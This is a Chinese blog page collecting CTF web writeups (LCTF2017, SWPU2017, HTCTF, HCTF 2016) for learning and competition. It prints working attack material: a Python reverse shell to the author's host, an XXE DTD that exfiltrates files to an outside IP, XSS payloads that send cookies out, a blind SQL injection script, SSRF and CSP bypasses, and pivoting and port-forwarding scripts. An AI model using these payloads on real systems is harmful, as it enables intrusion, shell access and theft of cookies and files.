分类 ctf 下的文章

LCTF2017 web writeup

简单整理下web部分的writeup以及做题思路。历史总是惊人的相似。。。

7CB5926A-419D-4943-BA03-D8B8A61A5E77.png

话说求个二进制队友组个业余队打打ctf啊。

Simple Blog

扫到了.admin.php.swp,恢复了以后发现存在php格式化字符串问题导致的注入,可参考从WordPress SQLi谈PHP格式化字符串问题。不过前提是要有admin的session,当前的条件还不太够。

1E64499E-76CE-4EB4-9BD6-B6296A5B1F28.png

于是手工尝试.login.php.swp,发现也存在泄露。

DABAAA32-A0D1-4BEF-B483-0E00F1BD95E1.png

可以用padding oracle attack攻击让session为1。
这里有个坑就是由于只有一个分组,只能跑出后15位,第一位需要爆破。(因为当只有一个分组的时候是不存在16位都padding成0x10的情况的)

"他们"有什么秘密呢?

典型的赛棍题。。。

以下这一堆函数可以利用报错爆出当前列、当前表、当前数据库。

multiPolygon(id) multilinestring(id) linestring(id) GeometryCollection(id) MultiPoint(id) polugon(id)

下面这种方法能够依次爆破出当前表下的所有列。

union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C

然后可以利用排序注入在表名被过滤的情况下盲注出数据。

得到第二个入口以后考察的是七字符webshell。参考https://nandynarwhals.org/32c3-tinyhosting/,还有现成的脚本可以用。

萌萌哒报名系统

扫到了 /.idea/workspace.xml。这个文件会把phpstorm项目里的所有文件信息记录进去。然后发现了xdcms2333.zip。
关键点是在register.php

<?php
include('config.php');
try{
    $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
    die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
    die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
    die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
    $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
    $sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
    $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
    $sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

初略看了一下逻辑,显然预测随机数不是好的办法。
我一开始的想法是preg_match那里的正则可能有redos,然后去竞争dos的时间。不过看了下正则发现复杂度是线性的,应该是没办法造成redos。

有缺陷的正则表达式会一般包含如下部分:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} | for x > 10

后来fuzz出了preg_match的bug,xdsec(xxx...无数个x)这种形式可以让preg_match炸掉。

后面就是php://filter读文件了,flag在config.php里面。

官方的解释是这样的,感觉还是没有说明问题的本质,有空研究一下吧。

其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

签到题

考察的是ssrf。考点是curl的时候file://xxx/etc/passwd不管xxx是啥都是读本地的文件。

我用的是blackhat议题里的方法,原理是php curl和parse_url解析得到的host不一致。
33BA49FC-E039-4F0A-87CB-E1B24AC26710.png

http://xx@evilhost:80@www.baidu.com

坑点在于后端代码会给我们提交的url内容在最后加一个/,需要通过?或者#的方法截断。。。题目放的也比较晚了,一开始还以为是姿势不对,也没发现这个坑导致没做出来。

php里面还有其它相似的问题,都是不错的考点。
90AF0D1A-72A0-4857-94F5-8A7EADC2200D.png
ADBD07CA-F059-41F9-AD45-3C33AD312632.png

wanna hack him?

解法一:
利用chrome60的bug

<img src='http://yourhost/?key=

解法二:
简单fuzz以后可以发现这题的nonce是根据session生成的,如果session不变nonce也是不变的。
所以可以利用meta标签来给bot设置session,这样bot的nonce就等于本地的nonce了。还是自己思考的太浅了。

<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">

官方wp&源码

https://github.com/LCTF/LCTF2017/

SWPU2017 CTF web writeup

抽空和小伙伴做了一下swpuctf,打了个第七名。我主要负责做了web,部分题目还是比较好玩的。下面是我做出来的web部分的writeup。
A3E7137D-C073-493C-9EA2-6B080FEEEEAE.png

web1 你能进入后台吗?

地址: http://39.106.13.162/login.php
描述:登录进来就给你flag啦(#.#)

根据tips存在index.php.bak以及该文件经过了php-screw的加密。html页面源码中给出了一些解密参数,替换一下解密就好。解出来以后是个md5注入,这个就不多讲了。

web2 catch me if you can

地址:http://47.93.205.124/
描述:黑客入侵了我的网站并挂了黑页,最重要的是还偷走了我留给各位师傅的flag…请各位师傅帮助我抓住这个黑客并找到我的flag

这是一道纯社工题,给了tip以后很快就拿了一血。打开题目是一个黑页,发现留下了一个hacked by 音速猴子(2831787443),猜测2831787443是个qq号。
加了好友看下空间,发现一个base64编码,解码以后8001端口就是黑客的主页(其实nmap一下就知道了)。提示要找到黑客的小金库,扫了一下发现了后台登录地址manage_login.php。整个主页下方有个163邮箱,拿去社工库里面一查得到了 sonic2011/2010sonic, 登录了以后就getflag。
885CE69E-9A9A-46B9-AD0B-6CE8C15D0419.png

web3 我们来做个小游戏吧

地址:http://47.104.18.71/www.zip
描述:欧洲人据说可以为所欲为??

这题也是我的一血。先观察web界面,发现是一个猜数字的游戏,初始有10分,系统随机生成数字1-6,用户猜对数字加1分,猜错数字扣1分,用户积满100分即可得到系统赠送的flag。嗯。果然是个欧洲人的游戏。

开始看代码。

config.php中对所有的输入点都做了一遍addslashes,由此可知除了宽字节基本不存在单个参数的字符型注入。
5D8A304A-B423-4301-9359-6DB21D3730FE.png

index.php实现了主要的游戏逻辑,代码逻辑与题目描述一致。可以看到姓名和分数都存储在session里面,
02D9DBD6-9278-46D2-B69F-CDC03DDB7653.png

E36C8316-CED3-4A3D-8236-C398F1B2F04D.png

正常情况下session已经可以满足需求了,然而题目里面还多了一层与数据库的交互。这一部分主要是由session.class.php来实现,也是本题的关键代码。其中包含sql语句的有以下三个函数。
C4E6C7CD-2915-4FB1-B386-0EC7E94C9C79.png

其中在load_session()函数中对全局的session进行了更新,而$_session['data']是从数据库里面查出来的,那我们的目标就是想办法修改数据库里的data字段。
$GLOBALS['_SESSION'] = unserialize($session['data']);

仔细分析一下,三处sql语句中的变量session_id和ip均可控。session_id为从Cookie['SESSID']中获取的内容经过校验以后取前32个字符的结果。校验需要满足A=B,其中

A=session_id的第32个字节开始的内容
B=session_id前32个字节与ip的部分内容拼接后进行crc计算后的结果

A4632E31-9B61-4E85-98BB-42776BA1A761.png

而这里ip可以通过修改xff头来进行控制。那么问题来了,虽然这两个参数可控,但他们都经过了转义该怎么注入呢。

盯着代码看了一晚上终于发现了问题所在。

$tmp_session_id = substr($this->session_id, 0, 32);

$_tmp_session_id截取了前32个字符,如果我们在Cookie['SESSID']中传入的内容的第32个字符是nul,nul经过转义后会变成'\0',它的第32个字符将会是反斜杠,第33个字符是'0',如果能通过校验的话,session_id就会被赋值成tmp_session_id,我们就能够在sql查询的第一个参数session_id中引入一个反斜杠来闭合一个单引号,在第二个可控参数_ip中就可以为所欲为了。

那为了通过校验,我们需要找到一个crc计算结果的第一个字符为'0'的字符串(这也是我传入nul而不是单引号的原因,如果传入单引号,第33个字符就是单引号,无法通过校验)。

如果Cookie['SESSID']中前31个字符为上面所述字符串的内容,第32个字符为nul,最后7个字符为crc的计算结果去掉第一位'0'。且ip中不要带任何的小数点,这样就能通过校验了。(cookie中可以用%00来表示nul字符)

SESSID=000aaaa1aaaaa1aaaaaaaaaaaaaaaaa%00d839474

x-forwarded-for: union select 0x613a323a7b733a343a226e616d65223b733a353a227878787878223b733a353a2273636f7265223b733a333a22393939223b7d#

(因为有addslashes,需要16进制表示a:2:{s:4:"name";s:5:"xxxxx";s:5:"score";s:3:"999";})

IMG20171106_102106.png

web4 师傅们一起来找flag

地址:http://39.106.16.58/index.php
描述:flag不小心丢失了,师傅们来帮忙找找呀!(不用扫描)

赛后做出。这是一道xxe题,代码中过滤了关键字enitity导致无法在post payload中直接添加外部实体,不过依然可以引用外部dtd。

POST /index.php HTTP/1.1
Host: 39.106.16.58
Content-Type: text/xml
Content-Length: 64

<!DOCTYPE root SYSTEM "http://115.159.77.74/test/xxe/evil.dtd">

evil.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://115.159.77.74/?aaaaa=%file;'>">
%payload;
%send;

查看服务器日志,解码后得到flag{Th1s_1s_4_e4sy_xx3_!@#}
5ED033F4-F80E-4426-9B46-553B71EA1751.png

xml添加实体的官方文档——在 XML 中添加实体

web5 python sandbox

地址:http://47.95.252.234/
描述:Web code editor is convenient to Exercise programming!

赛后做出。本题考察的是python的沙盒绕过。查看了官方的writeup,除了常见的os、command、subprocess等内置库以外,还可以使用timeit库和platform库来进行任意代码或命令执行。

import timeit
timeit.timeit("__import__('os').system('')", number=1)

import platform
platform.popen('id', mode='r', bufsize=-1).read()

web6 You Think I Think

地址:http://39.106.11.158/web1/
描述:I Think You Can Think It!

这题赛后做出。问了下出题人,发现自己被一个log文件坑惨了。给了提示,$this->display('xxxxx'),应该是模版注入。
如果xxxxx可控,即可getshell。

接下来是寻找注入点的过程。修改密码的url如下。
http://39.106.11.158/web1/index.php/home/index/repass/temp/repass.html

根据tp的路由,home是module,index是controller,repass是action。而temp则是传入的参数。这里存在模版注入。
其实只要http://39.106.11.158/web1/index.php/home/index/repass?temp=./Upload/2017-11-05/2ed68d2e617ba4fd393a0631929257a0.jpg就好了。

这里需要注意路径的开头是./Upload而不是/Upload,这里被坑了好久。
thinkphp开发完全手册-模版输出

806B8EFA-1771-4661-8C91-EC3E7F290F7C.png

web7 flag!flag

地址:http://39.106.13.2/web2/file.php?file=index
描述:小明把flag藏在数据库里面,请各位大师傅帮忙找出来吧

http://39.106.13.2/web2/article_show_All.php?a_id=1
a_id 存在注入,不过代码中有sql关键字检测。

通过文件包含漏洞下载到源码
http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=index
http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check

IMG20171106_102634.png
check_url限制了select from等关键字,正常情况下没法进行盲注。要绕过check_url(),需要知道一个小技巧。

发现一个特殊的是parse_url($_SERVER['REQUEST_URI']) 这里也是没见过的黑科技 老外是这么说的 This
function can be bypassed though, as parse_url takes a URL as a
parameter. It does not deal well with URIs.
通过parse_url获取URL的参数有一点儿问题,他并不能很好的处理,如果我们传入的是
///upload.php?cache这样的地址,然后parse_url()处理URL会返回false,那么后面的preg_match就不会匹配到任何字符串了。

https://lorexxar.cn/2016/05/10/asis-bcloud/

附上脚本(因为服务器开启了云盾需要限速,不然会被ban)

# coding=utf-8
import requests
import time

class sqli_scanner(object):
    def __init__(self, iurl, icookie, iinput, im, idelay):
        self.url = iurl
        self.cookie = icookie
        self.input = iinput
        self.m = im
        self.delay = idelay

    def doinject(self, i, num):
        payload = self.m % "ascii(substring((%s),%d,1))>%d"
        payload = payload % (self.input, i+1, num)
        data = {'a_id':payload}
        r = requests.get(self.url, params=data)
        time.sleep(self.delay)
        if('flag' in r.content):
            return True
        else:
            return False

    def getlength(self):
        for i in range(0, 100):
            payload = self.m % "length((%s))=%d"
            payload = payload % (self.input, i)
            data = {'a_id':payload}
            r = requests.get(self.url, params=data)
            time.sleep(self.delay)
            #print r.content
            if('flag' in r.content):
                print 'length:%d' % i
                return i

    def getvalue(self, len):
        flag = ''
        for i in range(len):
            s = 33
            t = 126
            while (s < t):
                m = (s + t) / 2
                result = self.doinject(i, m)
                if result:
                    s = m + 1
                else:
                    t = m
                if (t - s <= 1):
                    if (self.doinject(i, s)):
                        m = t
                        break
                    else:
                        m = s
                        break
                #print m
            flag += chr(m)
            print flag

if __name__ == '__main__':
    url = 'http://39.106.13.2///web2///article_show_All.php'
    sqli_input = "select flag from flag"
    cookie = {}
    m = "1'&(if(%s,1,0))#"
    delay = 1
    s = sqli_scanner(url, cookie, sqli_input, m, delay)
    length = s.getlength()
    s.getvalue(length)

web8 偷懒的出题人

地址:http://39.106.11.158/web1/
描述:I Think You Can Think It!

这题跟去年的web400一样,只是多了一个waf。
提示了nginx配置错误导致源码泄露,首先可以通过 http://182.254.133.111/home../ 下载到源码。
我没做过去年的题目,为了不浪费时间百度了一发wp。去年的writeup:
【CTF攻略】第七届swpu-ctf官方Writeup
试了一些ph师傅博客里面的绕过方式未果,最后发现cookie中的参数可以绕过ngx_lua_waf。
3821AB96-E549-4B89-A61B-415C72F45375.png

htctf 你没走过的套路

在回顾这题的同时也同时复习一下一些内网渗透的基础知识。
特别感谢一下L3m0n和Aklis两位师傅的指导。
如有描述错误,欢迎指正。
(写到一半发现NFS关了...有些地方就只能文字描述了)


0x00 端口转发

什么时候需要端口转发

场景:A是我们的VPS——www.th1s.cn,B是公网服务器——120.27.122.0。我们现在有了B的权限,并且想访问B的3389端口,该怎么做呢?

linux下端口转发的方式

1.ssh端口转发:

1)本地转发

ssh <SSH hostname> -l[user] -L<local port>:<remote host>:<remote port> -CNfg

示例:在A上面执行ssh 120.27.122.0 -lroot -L7001:120.27.122.0:3389 -CNfg
作用:120.27.122.0是ssh_server,把www.th1s.cn(本地)的7001端口转发到了120.27.122.0的3389端口
效果:www.th1s.cn:7001 -> 120.27.122.0:3389

2)远程转发

ssh <SSH hostname> -l[user] -R<local port>:<remote host>:<remote port> -CNfg

(还是上面那个例子,如果防火墙作了策略,我们无法直接访问B的3389端口,我们就需要进行远程转发进行内网穿透)
示例:在B上面执行ssh www.th1s.cn -lroot -R7001:120.27.122.0:3389 -CNfg
作用:www.th1s.cn是ssh_server,把120.27.122.0的3389端口转发到了www.th1s.cn的7001端口
效果:访问www.th1s.cn:7001即相当于访问120.27.122.0:3389

2.tcp代理——rtcp.py
rtcp.py是知道创宇写的一个用于转发和代理的python脚本

usage: python rtcp.py stream1 stream2 stream为:l:port或c:host:port
l:port表示监听指定的本地端口 c:host:port表示监听远程指定的端口

3.http代理
在目标服务器上传一个webshell,通过shell来做所有的流量转发到内网,常见的几个工具有reGeorg,meterpreter,tunna

0x01 内网探测

发现index.php~
QQ图片20161203160046.png

为了方便操作反弹一下shell

http://120.27.122.0/index.php?aklis=system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("www.th1s.cn",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');

nmap扫一下内网发现存活主机192.168.0.1-6,在192.168.0.1上有2049nfs端口
showmount -e 192.168.0.1一下发现有共享目录 :/var/nfs。而webshell的权限不是root无法直接挂载。

接下来的思路就是参考rr菊苣的文章了,先udp代理,再把端口转发出来,然后在自己vps上挂载。

0x02 UDP代理

把server.py扔自己vps上,把client.py扔120那台服务器上。
server.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieved from {0}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {0!r} to {1}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _  = sock_dst.recvfrom(65565)
    print('received: {0!r} from {1}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {0}'.format(port))

sock_src.close()
sock_dst.close()

client.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('ricterz.me', 11111)
dst_addr = ('172.23.27.39', 111)

while True:
    try:
        print('send OK to {0}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src  = sock_src.recvfrom(65565)
        print('send: {0!r} to {1}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {0!r} from {1}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

0x02 转发端口

由于120那台服务器上权限不够没法用ssh,我就用了rtcp.py进行tcp转发。
vps

python rtcp.py l:40000 l:111&

120

python rtcp.py c:192.168.0.1:111 c:www.th1s.cn:40000&

需要转发的端口有111,892,2049,40878,54280

0x03 NFS挂载

用NFS挂载命令进行挂载

showmount -e 127.0.0.1
mount -t nfs -o nolock 127.0.0.1:/var/nfs /tmp/a

发现了一个使用者是root的default.conf(其他的文件都是师傅们上传混淆视线的2333)
QQ图片20161203170428.png
defalut.conf

location ~ \.php$ {
    #proxy_pass   http://127.0.0.1;
    fastcgi_index index.php;
    include fastcgi_params;
}

location /static {
    alias /var/www/static/;
    autoindex on;
}

发现这是nginx的配置文件,且autoindex on表示有目录浏览。

0x04 get flag

访问 http://192.168.0.5/static 和http://192.168.0.6/static
发现192.168.0.6可以目录浏览,于是再访问http://192.168.0.6/static../
拿到flag
QQ图片20161203174704.png

0x05 后记

  1. 看到挂载成功的那一刻我的内心是爆炸的= =。。。真不知道这几天试了多少次showmount -e 127.0.0.1。。。
  2. 再次感谢两位师傅这两天的耐心指点。
  3. 内网渗透要学的东西还有很多很多。

参考资料
rr菊苣的文章——Mount NFS via Proxy
L3m0n的writeup——HCTF 2016 web-writeup
之前在某白帽社区的一篇内网渗透文——内网渗透随想

hctf 2016 web writeup

这次hctf和我泽两个人做了15道题,最终排名24,相当开心。分享一下本次比赛中部分web题的做题记录。
非web题的writeup可以去看pav1的博客


web1

2099年的flag
only ios99 can get flag(Maybe you can easily get the flag in 2099

去找一个ios的useragent把版本改成99即可

web2

giligili
一道js加密题。
QQ图片20161129203802.png

一开始看到这么复杂的js混淆我是拒绝的。先拿到各种js解混淆的网站上去试一发,发现都不行- -。真正开始下决心做题是在第二天的晚上,一直卡在level2不是办法,于是便打开了chrome开始调试js。。。我的firebug不知道怎么了一直提示此页面不包含javascript。关键点是在函数中找几个 return 的地方,如果不满足条件就会return,逆推即可拿到正解。做这种题的诀窍就是一旦有了思路和动力花时间去慢慢推一定能成功。

web3

兵者多诡

恰好看了前段时间西南石油大学ctf的writeup,几乎没做什么改变:利用zip协议或者phar协议去包含shell。

web4

必须跑得比西方记者快

这是一道条件竞争的题目。首先根据域名 changelog.hctf.io 中的changelog想到会不会有git泄露,然后想到扫到.git然并卵的时候想到会不会有README.md。。。好吧这是出题人的思路,我用AWVS扫了一圈就拿到了 README.md。
QQ图片20161129205058.png
分析了一下业务逻辑大概就是
注册

insert into USER (username, password, level) values('aaa', 'bbb', 1)
update USER set level=0 where username = 000

登陆后

select level where username = 'aaa'
$_SESSION['level'] = level

判断是否是管理员

if ($_SESSION['level'] == 1){
    flag;
    }

作死的地方就是:为啥要先入库后降权,这就给竞争创造了机会。因为数据库的操作是有延时的,如果我们能够在降权之前登陆成功拿到level=1的Session就成功了。

注册admin-->admin登录成功-->admin降权

用burp一直跑某个账号登陆包,然后手动注册该账号,根据注册的时间去burp里面找对应的包就好了。

web5

guestbook

一道xss题。有CSP限制,但允许内联js。会对script 和 on作过滤,但没有作递归过滤,导致双写可以绕过。
我的xss payload
<iframe oonnload=location.href="http://www.th1s.cn/hctf?Cookie="+escape(document.cookie)+"&location="+escape(document.location.href)>

成功打到cookie。第一次在CTF比赛中打到cookie,看到服务器日志中出现的cookie简直不要太开心。
QQ图片20161129210746.png

后来看了柠檬牛的writeup,可以通过预加载来绕过csp。

<scrscriptipt>var n0t = document.createElement("lilinknk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx.ceye.io/"+escape(document.cookie));document.head.appendChild(n0t);</SCRscriptIPT>

web6

AT field1

到level4的时候距离比赛结束只剩一个小时了。。。
好在这是一道比较简单的ssrf的题目。检测域名是否为localhost或者127.0.0.1。构造一个302跳转就行了。

http://www.th1s.cn/test/302.php

302.php

<php header("Location:http://localhost");?>

web7

secretarea

这题是赛后做的,也是要绕过csp。而且这题的csp禁止了内联js。
注册登录后发现修改个人资料处提供一个上传头像的功能,上传上去以后图像的链接为http://sguestbook.hctf.io/upload/xxxxxxx
还发现有个功能提供302跳转http://sguestbook.hctf.io/static/redirect.php?u=
注意到script的src域是在http://sguestbook.hctf.io/static/下的,也就是说这个302跳转的链接可以成为src的内容。很自然的想到了payload

<scrscriptipt src=http://sguestbook.hctf.io/static/redirect.php?u=upload/xxxxxxxxx></scrscriptipt>

上传的内容为 location跳转 或者前面的link 预加载都是可以绕过的。

web8

大图书馆的牧羊人 & 禁书目录

这两题也是赛后做的,几乎相同的两题。出题人的思路:

  1. 信息泄漏
  2. CBC flip 或者 Padding Oracle 伪造管理员上线
  3. 了解epub文件,构造XXE任意文件读取flag.php

首先通过.git泄露下载源码,代码审计部分就不讲了,大牛们的blog都写得很清楚。因为自己对xxe的认识比较浅显,简单讲一下最后的xxe的构造。特别感谢一下lancet的浩子哥的指点。
QQ图片20161129221035.png

说明存在xxe。
由于第一题已经getshell了,可以下载到一些epub电子书,然后根据电子书的xml结构以及upload.php源码进行构造。
关键点是要在能够回显的标签中间插入实体。可以看到title是能够显示的,那我们就在这里注入实体。
QQ图片20161129221947.png
QQ图片20161129222112.png

最后成功拿到flag。
QQ图片20161129221900.png

很显然,这种做法并不完美,因为别人也能看到你拿到的flag = =
所以使用blind xxe的方法。
QQ图片20161130161615.png
远程dtd的内容:
QQ图片20161130161845.png
最终查看服务器日志即能拿到flag
QQ图片20161130162230.png

总结

0x00 图书馆两道题作者的本意是让我们使用padding oracle 或者 bit flip,之后会专门写一篇blog来记录这两种在最近CTF比赛中比较常见的密码学攻击方式。
0x01 内网渗透的题目以后也要去尝试着做一做。
0x02 多去逛逛一些大牛的博客,既能学到许多前沿的姿势,又能够通过看到他们成长的过程来不断地激励自己。
0x03 加油吧,Th1s。